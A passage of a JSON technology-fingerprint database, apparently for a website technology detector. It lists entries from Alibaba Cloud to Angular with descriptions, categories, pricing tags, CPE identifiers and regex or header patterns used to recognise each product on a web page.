deliver high-performance, low-latency content to users around the world. It is a cloud-based service provided by Alibaba Cloud, a subsidiary of the Alibaba Group, that enables businesses to accelerate the delivery of their web content, including images, videos, and static files, to end-users.\",\n    \"dom\": [\n      \"img[src*='.alicdn.com/']\"\n    ],\n    \"icon\": \"Alibaba Cloud.svg\",\n    \"scriptSrc\": [\n      \"\\\\.alicdn\\\\.com/\"\n    ],\n    \"website\": \"https://www.alibabacloud.com/product/content-delivery-network\"\n  },\n  \"Alibaba Cloud Object Storage Service\": {\n    \"cats\": [\n      63\n    ],\n    \"description\": \"Alibaba Cloud Object Storage Service (OSS) is a cloud-based object storage service provided by Alibaba Cloud, which allows users to store and access large amounts of data in the cloud.\",\n    \"headers\": {\n      \"x-oss-object-type\": \"\",\n      \"x-oss-request-id\": \"\",\n      \"x-oss-storage-class\": \"\"\n    },\n    \"icon\": \"Alibaba Cloud.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"website\": \"https://www.alibabacloud.com/product/object-storage-service\"\n  },\n  \"Alibaba Cloud Verification Code\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Alibaba Cloud Verification Code is a security feature provided by Alibaba Cloud to help protect user accounts from unauthorised access.\",\n    \"icon\": \"Alibaba Cloud.svg\",\n    \"scriptSrc\": [\n      \"cf\\\\.aliyun\\\\.com/\"\n    ],\n    \"website\": \"https://help.aliyun.com/document_detail/193141.html\"\n  },\n  \"Alive5\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Alive5 is a unified inbox for teams, handling SMS, web chat, and social conversations. It was formerly known as Website Alive.\",\n    \"icon\": \"Alive5.svg\",\n    \"js\": {\n      \"alive5_environment\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.websitealive\\\\.com/\"\n    ],\n    \"website\": \"https://www.alive5.com\"\n  },\n  \"All in One Accessibility\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"All in One Accessibility is a website accessibility widget developed by Skynet Technologies to enhance compliance with WCAG 2.0, 2.1, 2.2, and ADA accessibility standards.\",\n    \"icon\": \"Skynet Technologies.svg\",\n    \"js\": {\n      \"aiao_modal_footer_height\": \"\",\n      \"aioa_accessibility_profiles_STATUS\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.skynettechnologies\\\\.com/accessibility/\"\n    ],\n    \"website\": \"https://www.skynettechnologies.com/all-in-one-accessibility\"\n  },\n  \"All in One SEO Pack\": {\n    \"cats\": [\n      54,\n      87\n    ],\n    \"cpe\": \"cpe:2.3:a:aioseo:all_in_one_seo:*:*:*:*:*:wordpress:*:*\",\n    \"description\": \"All in One SEO plugin optimizes WordPress website and its content for search engines.\",\n    \"dom\": [\n      \"script.aioseo-schema\"\n    ],\n    \"html\": [\n      \"<!-- All in One SEO Pack ([\\\\d.]+) \\\\;version:\\\\1\"\n    ],\n    \"icon\": \"AIOSEO.svg\",\n    \"meta\": {\n      \"generator\": \"^All in One SEO \\\\(AIOSEO\\\\)\\\\s([\\\\d.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://aioseo.com\"\n  },\n  \"Allbookable\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Allbookable is an online booking solution that enables users to book services through a digital platform.\",\n    \"icon\": \"Allbookable.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.allbookable\\\\.com/\"\n    ],\n    \"website\": \"https://allbookable.com\"\n  },\n  \"Alli\": {\n    \"cats\": [\n      54\n    ],\n    \"description\": \"Alli is artificial intelligence for search engine optimisation.\",\n    \"icon\": \"Alli.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.alliai\\\\.com/\"\n    ],\n    \"website\": \"https://www.alliai.com\"\n  },\n  \"Alliance Auth\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Alliance Auth is an access management platform designed for Eve Online groups. It controls access to applications and services based on in-game memberships.\",\n    \"dom\": [\n      \"link[rel='stylesheet'][href*='/static/allianceauth/css']\"\n    ],\n    \"icon\": \"Alliance Auth.svg\",\n    \"implies\": [\n      \"Django\",\n      \"Python\",\n      \"Font Awesome\",\n      \"Bootstrap\",\n      \"jQuery\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://gitlab.com/allianceauth/allianceauth\"\n  },\n  \"AlloyUI\": {\n    \"cats\": [\n      12\n    ],\n    \"icon\": \"AlloyUI.png\",\n    \"implies\": [\n      \"Bootstrap\",\n      \"YUI\"\n    ],\n    \"js\": {\n      \"AUI\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^https?://cdn\\\\.alloyui\\\\.com/\"\n    ],\n    \"website\": \"https://www.alloyui.com\"\n  },\n  \"Allyable\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Allyable is an automated web accessibility solution with an AI engine.\",\n    \"icon\": \"Allyable.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"mk-sense\\\\.com/aweb\\\\?license\",\n      \"portal\\\\.allyable\\\\.com/\"\n    ],\n    \"website\": \"https://allyable.com\"\n  },\n  \"Allyant\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Allyant is a company specializing in accessibility solutions for digital and print documents to ensure compliance with accessibility standards.\",\n    \"dom\": [\n      \"a[href*='accessible360.com/'][target='_blank'], a[href*='accessible360.com/'] > img\"\n    ],\n    \"icon\": \"Allyant.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/npm/@accessible360/accessible-slick@([\\\\d\\\\.]+)/\\\\;version:\\\\1\",\n      \"/accessible360/accessible-slick/slick/slick\\\\.min\\\\.js\\\\?v=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://accessible360.com\"\n  },\n  \"AlmaLinux\": {\n    \"cats\": [\n      28\n    ],\n    \"description\": \"AlmaLinux is an open-source, community-driven Linux operating system that fills the gap left by the discontinuation of the CentOS Linux stable release.\",\n    \"headers\": {\n      \"server\": \"AlmaLinux\"\n    },\n    \"icon\": \"AlmaLinux.svg\",\n    \"oss\": true,\n    \"website\": \"https://almalinux.org\"\n  },\n  \"Alpharank\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Alpharank is a tool focused on customer journey mapping to enhance conversion optimization specifically for banks.\",\n    \"icon\": \"Alpharank.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.alpharank\\\\.io/\"\n    ],\n    \"website\": \"https://www.alpharank.ai\"\n  },\n  \"Alpine Linux\": {\n    \"cats\": [\n      28\n    ],\n    \"cpe\": \"cpe:2.3:o:alpinelinux:alpine_linux:*:*:*:*:*:*:*:*\",\n    \"description\": \"Alpine Linux is a security-oriented, lightweight Linux distribution based on musl libc and busybox.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Alpine\"\n    },\n    \"icon\": \"Alpine Linux.svg\",\n    \"oss\": true,\n    \"website\": \"https://www.alpinelinux.org\"\n  },\n  \"Alpine.js\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Alpine.js is a minimal framework for composing behavior directly in your markup.\",\n    \"html\": [\n      \"<[^>]+[^\\\\w-]x-data[^\\\\w-][^<]+\\\\;confidence:75\"\n    ],\n    \"icon\": \"Alpine.js.svg\",\n    \"js\": {\n      \"Alpine.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"deferLoadingAlpine\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/alpine(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://alpinejs.dev\"\n  },\n  \"AlternC\": {\n    \"cats\": [\n      9\n    ],\n    \"cpe\": \"cpe:2.3:a:alternc:alternc:*:*:*:*:*:*:*:*\",\n    \"description\": \"AlternC is a set of software management on Linux shared hosting.\",\n    \"icon\": \"AlternC.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"Debian\"\n    ],\n    \"saas\": false,\n    \"scriptSrc\": [\n      \"js/alternc\\\\.js\"\n    ],\n    \"website\": \"https://alternc.com\"\n  },\n  \"Altis\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Altis is a digital experience platform built on top of WordPress.\",\n    \"icon\": \"Altis.svg\",\n    \"js\": {\n      \"Altis\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Altis ?([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.altis-dxp.com\"\n  },\n  \"AlumnIQ\": {\n    \"cats\": [\n      111\n    ],\n    \"cookies\": {\n      \"alumniq-online-giving\": \"\"\n    },\n    \"description\": \"AlumnIQ is a set of services to manage events, giving, email, volunteers, class agents, and more, all designed to work with your database of record.\",\n    \"dom\": [\n      \"a[href*='.alumniq.com/giving/to/']\"\n    ],\n    \"icon\": \"AlumnIQ.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://www.alumniq.com/platform/\"\n  },\n  \"Alumni Channel\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Alumni Channel is a platform facilitating organization and communication with alumni and members.\",\n    \"icon\": \"AlumniChannel.svg\",\n    \"meta\": {\n      \"author\": \"Alumni Channel - www.alumnichannel.com\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://alumnichannel.com\"\n  },\n  \"AlvandCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"AlvandCMS is a PHP-based content management system that is commonly used in Iran.\",\n    \"icon\": \"AlvandCMS.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"AlvandCMS\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://alvandcms.ir\"\n  },\n  \"Amaya\": {\n    \"cats\": [\n      20\n    ],\n    \"description\": \"Amaya is an open-source web browser editor to create and update documents on the web.\",\n    \"icon\": \"Amaya.png\",\n    \"meta\": {\n      \"generator\": \"Amaya(?: V?([\\\\d.]+[a-z]))?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.w3.org/Amaya\"\n  },\n  \"Amaze UI\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Amaze UI is a mobile-first JavaScript library designed to simplify front-end development.\",\n    \"icon\": \"Amaze UI.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/(?:js\\\\/)?)?amazeui(?:\\\\/js\\\\/jquery)?(?:\\\\.widgets)?(?:\\\\.helper)?(?:\\\\.legacy)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://amazeui.shopxo.net/\"\n  },\n  \"Amazon ALB\": {\n    \"cats\": [\n      65\n    ],\n    \"cookies\": {\n      \"AWSALB\": \"\",\n      \"AWSALBCORS\": \"\"\n    },\n    \"description\": \"Amazon Application Load Balancer (ALB) distributes incoming application traffic to increase availability and support content-based routing.\",\n    \"icon\": \"Amazon ELB.svg\",\n    \"implies\": [\n      \"Amazon Web Services\"\n    ],\n    \"website\": \"https://aws.amazon.com/elasticloadbalancing/\"\n  },\n  \"Amazon Advertising\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Amazon Advertising (formerly AMS or Amazon Marketing Services) is a service that works in a similar way to pay-per-click ads on Google.\",\n    \"dom\": [\n      \"iframe[src*='.amazon-adsystem.com/']\"\n    ],\n    \"icon\": \"Amazon.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.amazon-adsystem\\\\.com\"\n    ],\n    \"website\": \"https://advertising.amazon.com\",\n    \"xhr\": [\n      \"\\\\.amazon-adsystem\\\\.com\"\n    ]\n  },\n  \"Amazon Associates\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Amazon Associates is an affiliate marketing program that allows website owners and bloggers to create links and earn referral fees when customers click through and buy products from Amazon.\",\n    \"dom\": {\n      \"a[href*='amazon.com']\": {\n        \"attributes\": {\n          \"href\": \"^https?://amazon.com.+&tag=\"\n        }\n      },\n      \"a[href*='amzn.to']\": {\n        \"attributes\": {\n          \"href\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Amazon.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.associates-amazon\\\\.com\"\n    ],\n    \"website\": \"https://affiliate-program.amazon.com\"\n  },\n  \"Amazon Aurora\": {\n    \"cats\": [\n      34\n    ],\n    \"description\": \"Amazon Aurora is a relational database service developed and offered by Amazon Web Services.\",\n    \"icon\": \"Amazon Aurora.svg\",\n    \"implies\": [\n      \"Amazon Web Services\"\n    ],\n    \"website\": \"https://aws.amazon.com/rds/aurora\"\n  },\n  \"Amazon CloudFront\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Amazon CloudFront is a fast content delivery network (CDN) service that securely delivers data, videos, applications, and APIs to customers globally with low latency, high transfer speeds.\",\n    \"dns\": {\n      \"CNAME\": \"^[a-z0-9]+\\\\.cloudfront.net\\\\.?$\"\n    },\n    \"headers\": {\n      \"Via\": \"\\\\(CloudFront\\\\)$\",\n      \"X-Amz-Cf-Id\": \"\"\n    },\n    \"icon\": \"Amazon Cloudfront.svg\",\n    \"implies\": [\n      \"Amazon Web Services\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://aws.amazon.com/cloudfront/\"\n  },\n  \"Amazon CloudWatch RUM\": {\n    \"cats\": [\n      78\n    ],\n    \"description\": \"Amazon CloudWatch RUM is a real-user monitoring capability that helps you identify and debug issues in the client-side on web applications and enhance end user's digital experience.\",\n    \"icon\": \"Amazon CloudWatch.svg\",\n    \"js\": {\n      \"AwsRum\": \"\",\n      \"AwsRumClient\": \"\",\n      \"AwsRumClient.v\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"AwsRumConfig\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch-RUM.html\"\n  },\n  \"Amazon Cognito\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Amazon Cognito lets you add user sign-up, sign-in, and access control to your web and mobile apps. Amazon Cognito supports sign-in with social identity providers, such as Apple, Facebook, Google, and Amazon, and enterprise identity providers via SAML 2.0 and OpenID Connect.\",\n    \"icon\": \"Amazon Cognito.svg\",\n    \"implies\": [\n      \"Amazon Web Services\"\n    ],\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"website\": \"https://aws.amazon.com/cognito/\",\n    \"xhr\": [\n      \"cognito-idp\\\\..+\\\\.amazonaws\\\\.com\"\n    ]\n  },\n  \"Amazon EC2\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"Amazon Elastic Compute Cloud is a part of Amazon.com's cloud-computing platform, Amazon Web Services, that allows users to rent virtual computers on which to run their own computer applications.\",\n    \"headers\": {\n      \"Server\": \"\\\\(Amazon\\\\)\"\n    },\n    \"icon\": \"Amazon EC2.svg\",\n    \"implies\": [\n      \"Amazon Web Services\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://aws.amazon.com/ec2/\"\n  },\n  \"Amazon ECS\": {\n    \"cats\": [\n      63\n    ],\n    \"headers\": {\n      \"Server\": \"^ECS\"\n    },\n    \"icon\": \"Amazon ECS.svg\",\n    \"implies\": [\n      \"Amazon Web Services\",\n      \"Docker\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://aws.amazon.com/ecs/\"\n  },\n  \"Amazon EFS\": {\n    \"cats\": [\n      48\n    ],\n    \"description\": \"Amazon Elastic File System is a cloud storage service provided by Amazon Web Services.\",\n    \"icon\": \"Amazon EFS.svg\",\n    \"implies\": [\n      \"Amazon Web Services\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://aws.amazon.com/efs/\"\n  },\n  \"Amazon ELB\": {\n    \"cats\": [\n      65\n    ],\n    \"cookies\": {\n      \"AWSELB\": \"\"\n    },\n    \"description\": \"AWS ELB is a network load balancer service provided by Amazon Web Services for distributing traffic across multiple targets, such as Amazon EC2 instances, containers, IP addresses, and Lambda functions.\",\n    \"headers\": {\n      \"Server\": \"awselb\"\n    },\n    \"icon\": \"Amazon ELB.svg\",\n    \"implies\": [\n      \"Amazon Web Services\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://aws.amazon.com/elasticloadbalancing/\"\n  },\n  \"Amazon Pay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Amazon Pay is an online payments processing service that is owned by Amazon. It lets you use the payment methods associated with your Amazon account to make payments for goods and services.\",\n    \"dom\": [\n      \"img[src*='amazonpay'], [aria-labelledby='pi-amazon'], meta[id='amazon-payments-metadata'], [data-amazon-payments='true']\"\n    ],\n    \"icon\": \"Amazon Pay.svg\",\n    \"js\": {\n      \"AmazonPayments\": \"\",\n      \"OffAmazonPayments\": \"\",\n      \"enableAmazonPay\": \"\",\n      \"onAmazonPaymentsReady\": \"\"\n    },\n    \"meta\": {\n      \"id\": \"amazon-payments-metadata\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/amazonpayments(?:\\\\.min)?\\\\.js\",\n      \"\\\\.payments-amazon\\\\.com/\"\n    ],\n    \"website\": \"https://pay.amazon.com\",\n    \"xhr\": [\n      \"payments\\\\.amazon\\\\.com\"\n    ]\n  },\n  \"Amazon S3\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Amazon S3 or Amazon Simple Storage Service is a service offered by Amazon Web Services (AWS) that provides object storage through a web service interface.\",\n    \"headers\": {\n      \"Content-Security-Policy\": \"s3[^ ]*amazonaws\\\\.com\",\n      \"Content-Security-Policy-Report-Only\": \"s3[^ ]*\\\\.amazonaws\\\\.com\",\n      \"server\": \"^AmazonS3$\"\n    },\n    \"icon\": \"Amazon S3.svg\",\n    \"implies\": [\n      \"Amazon Web Services\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"s3[^ ]*\\\\.amazonaws\\\\.com/\"\n    ],\n    \"website\": \"https://aws.amazon.com/s3/\"\n  },\n  \"Amazon SES\": {\n    \"cats\": [\n      75\n    ],\n    \"description\": \"Amazon Simple Email Service (SES) is an email service that enables developers to send mail from within any application.\",\n    \"dns\": {\n      \"TXT\": [\n        \"amazonses\\\\.com\"\n      ]\n    },\n    \"icon\": \"Amazon SES.svg\",\n    \"implies\": [\n      \"Amazon Web Services\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://aws.amazon.com/ses/\"\n  },\n  \"Amazon Web Services\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Amazon Web Services (AWS) is a comprehensive cloud services platform offering compute power, database storage, content delivery and other functionality.\",\n    \"dns\": {\n      \"NS\": \"\\\\.awsdns-\"\n    },\n    \"headers\": {\n      \"x-amz-delete-marker\": \"\",\n      \"x-amz-err-code\": \"\",\n      \"x-amz-err-message\": \"\",\n      \"x-amz-id-2\": \"\",\n      \"x-amz-req-time-micros\": \"\",\n      \"x-amz-request-id\": \"\",\n      \"x-amz-rid\": \"\",\n      \"x-amz-version-id\": \"\"\n    },\n    \"icon\": \"Amazon Web Services.svg\",\n    \"saas\": true,\n    \"website\": \"https://aws.amazon.com/\"\n  },\n  \"Amazon Webstore\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Amazon Webstore is an all-in-one hosted ecommerce website solution.\",\n    \"icon\": \"Amazon Webstore.svg\",\n    \"js\": {\n      \"amzn\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://aws.amazon.com/marketplace/pp/Amazon-Web-Services-Amazon-Webstore/B007NLVI2S\"\n  },\n  \"Ambassador\": {\n    \"cats\": [\n      94\n    ],\n    \"description\": \"Ambassador is a marketer-friendly software that simplifies referral marketing and helps automating the enrolment, tracking, rewarding and management process.\",\n    \"icon\": \"Ambassador.svg\",\n    \"js\": {\n      \"_mbsy.integrations\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.getambassador\\\\.com/\"\n    ],\n    \"website\": \"https://www.getambassador.com\"\n  },\n  \"Amber\": {\n    \"cats\": [\n      18,\n      22\n    ],\n    \"description\": \"Amber is a web application framework written in Crystal inspired by Kemal, Rails, Phoenix and other popular application frameworks.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^Amber$\"\n    },\n    \"icon\": \"Amber.svg\",\n    \"oss\": true,\n    \"website\": \"https://amberframework.org\"\n  },\n  \"American Express\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"American Express, also known as Amex, facilitates electronic funds transfers throughout the world, most commonly through branded credit cards, debit cards and prepaid cards.\",\n    \"dom\": [\n      \"[aria-labelledby='pi-american_express']\"\n    ],\n    \"icon\": \"Amex.svg\",\n    \"website\": \"https://www.americanexpress.com\"\n  },\n  \"Ametys\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:ametys:ametys:*:*:*:*:*:*:*:*\",\n    \"icon\": \"Ametys.png\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"meta\": {\n      \"generator\": \"(?:Ametys|Anyware Technologies)\"\n    },\n    \"scriptSrc\": [\n      \"ametys\\\\.js\"\n    ],\n    \"website\": \"https://ametys.org\"\n  },\n  \"Amex Express Checkout\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Amex Express Checkout is a service that simplifies the checkout experience by auto-filling necessary cardholder payment data into merchant checkout fields.\",\n    \"dom\": [\n      \"img[alt*='We accept Amex']\"\n    ],\n    \"icon\": \"AmexExpress.svg\",\n    \"scriptSrc\": [\n      \"aexp-static\\\\.com\"\n    ],\n    \"website\": \"https://www.americanexpress.com/us/express-checkout/\"\n  },\n  \"Amiro.CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Amiro.CMS is a commercial content management system developed and distributed by the Russian company Amiro. Written in PHP and uses MySQL as a database.\",\n    \"icon\": \"Amiro.CMS.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"Amiro\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.amiro.ru\"\n  },\n  \"Amobee\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Amobee is a cloud-based advertising and data management platform.\",\n    \"dom\": [\n      \"img[src*='.turn.com/r/beacon']\"\n    ],\n    \"icon\": \"Amobee.svg\",\n    \"website\": \"https://www.amobee.com\"\n  },\n  \"Amplience\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Amplience is an API-first, headless content management platform for enterprise retail.\",\n    \"dom\": [\n      \"link[href*='.amplience.net'], img[src*='.amplience.net']\"\n    ],\n    \"icon\": \"Amplience.svg\",\n    \"js\": {\n      \"amplianceTemplates\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://amplience.com\"\n  },\n  \"Amplify JS\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"AmplifyJS is a set of components designed to solve common web application problems with a simplistic API. Amplify's goal is to simplify all forms of data handling by providing a unified API for various data sources.\",\n    \"icon\": \"Amplify JS.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?amplify(?:-production)?(?:\\\\.core)?(?:\\\\.store)?(?:\\\\.min)?(?:[-\\\\.][\\\\d\\\\w]{0,40})?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://amplifyjs.com/\"\n  },\n  \"Amplitude\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Amplitude is a web and mobile analytics solution with cross-platform user journey tracking, user behavior analysis and segmentation capabilities.\",\n    \"icon\": \"Amplitude.svg\",\n    \"js\": {\n      \"AMPLITUDE_KEY\": \"\",\n      \"__AMPLITUDE__\": \"\",\n      \"amplitudeClient\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.(?:segment.+)?amplitude(?:\\\\.com|-plugins)\"\n    ],\n    \"website\": \"https://amplitude.com\",\n    \"xhr\": [\n      \"\\\\.amplitude\\\\.com\"\n    ]\n  },\n  \"Analysys Ark\": {\n    \"cats\": [\n      10\n    ],\n    \"cookies\": {\n      \"ARK_ID\": \"\"\n    },\n    \"icon\": \"Analysys Ark.svg\",\n    \"js\": {\n      \"AnalysysAgent\": \"\"\n    },\n    \"scriptSrc\": [\n      \"AnalysysFangzhou_JS_SDK\\\\.min\\\\.js\\\\?v=([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://ark.analysys.cn\"\n  },\n  \"Analyzee\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Analyzee is an analytics tool that allows you to gain insights into visitor behavior and optimise your website's user experience using heatmaps and other analytics features.\",\n    \"icon\": \"Analyzee.svg\",\n    \"js\": {\n      \"Analyzee._sessionExtend\": \"\",\n      \"analyzee._session\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.analyzee\\\\.io/sdk/(.*)\\\\.js\"\n    ],\n    \"website\": \"https://analyzee.io\"\n  },\n  \"AndersNoren Baskerville\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"AndersNoren Baskerville is a responsive and retina-ready masonry WordPress theme for hoarders.\",\n    \"icon\": \"AndersNoren.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/baskerville(?:-2)?/\"\n    ],\n    \"website\": \"https://andersnoren.se/teman/baskerville-wordpress-theme\"\n  },\n  \"AndersNoren Fukasawa\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"AndersNoren Fukasawa is a minimal masonry style blog WordPress theme for photographers and collectors.\",\n    \"icon\": \"AndersNoren.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/fukasawa/\"\n    ],\n    \"website\": \"https://andersnoren.se/teman/fukasawa-wordpress-theme\"\n  },\n  \"AndersNoren Hemingway\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"AndersNoren Hemingway is a clean and beautiful two-column WordPress theme for bloggers.\",\n    \"icon\": \"AndersNoren.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/hemingway/\"\n    ],\n    \"website\": \"https://andersnoren.se/teman/hemingway-wordpress-theme\"\n  },\n  \"AndersNoren Hitchcock\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"AndersNoren Hitchcock is a portfolio WordPress theme for designers, photographers and other creatives.\",\n    \"icon\": \"AndersNoren.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/hitchcock/\"\n    ],\n    \"website\": \"https://andersnoren.se/teman/hitchcock-wordpress-theme\"\n  },\n  \"AndersNoren Lovecraft\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"AndersNoren Lovecraft is a beautiful two-column WordPress theme for bloggers.\",\n    \"icon\": \"AndersNoren.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/lovecraft/\"\n    ],\n    \"website\": \"https://andersnoren.se/teman/lovecraft-wordpress-theme\"\n  },\n  \"Anetwork\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"Anetwork.png\",\n    \"scriptSrc\": [\n      \"static-cdn\\\\.anetwork\\\\.ir/\"\n    ],\n    \"website\": \"https://www.anetwork.ir\"\n  },\n  \"Angie\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"Angie is a drop-in replacement for the Nginx web server aiming to extend the functionality of the original version.\",\n    \"headers\": {\n      \"server\": \"^Angie(?:/([\\\\d\\\\.]+))?$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"default.svg\",\n    \"implies\": [\n      \"Perl\",\n      \"C\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://angie.software/en/\"\n  },\n  \"Angular\": {\n    \"cats\": [\n      12\n    ],\n    \"cpe\": \"cpe:2.3:a:angularjs:angular:*:*:*:*:*:*:*:*\",\n    \"description\": \"Angular is a TypeScript-based open-source web application framework led by the Angular Team at Google.\",\n    \"dom\": {\n      \"[ng-version]\": {\n        \"attributes\": {\n          \"ng-version\": 